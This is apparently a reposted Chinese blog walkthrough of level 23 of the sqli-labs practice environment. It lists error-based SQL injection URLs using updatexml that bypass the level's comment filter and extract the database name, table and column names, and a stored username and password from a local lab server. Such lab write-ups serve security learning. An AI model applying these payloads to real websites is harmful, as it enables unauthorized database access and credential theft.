首页 > 数据库技术 > 详细

sqli-23

时间:2020-04-22 14:26:31      阅读:50      评论:0      收藏:0      [点我收藏+]

第二十三关

......(其实发现好简单的一关)

就是过滤 #和-- 

http://127.0.0.1/sqli/Less-23/?id=1‘ and ‘1‘=‘1

http://127.0.0.1/sqli/Less-23/?id=1‘ and updatexml(1,concat(0x7e,(select database()),0x7e),1) and ‘1‘=‘1  #security

http://127.0.0.1/sqli/Less-23/?id=1‘ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),0x7e),1) and ‘1‘=‘1  #users

http://127.0.0.1/sqli/Less-23/?id=1‘ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users‘ limit 7,1),0x7e),1) and ‘1‘=‘1  #username

http://127.0.0.1/sqli/Less-23/?id=1‘ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users‘ limit 4,1),0x7e),1) and ‘1‘=‘1  #password

http://127.0.0.1/sqli/Less-23/?id=1‘ and updatexml(1,concat(0x7e,(select concat_ws(‘~‘,username,password) from users limit 4,1),0x7e),1) and ‘1‘=‘1  #‘~stupid~stupidity~‘

sqli-23

原文:https://www.cnblogs.com/llcn/p/12751460.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!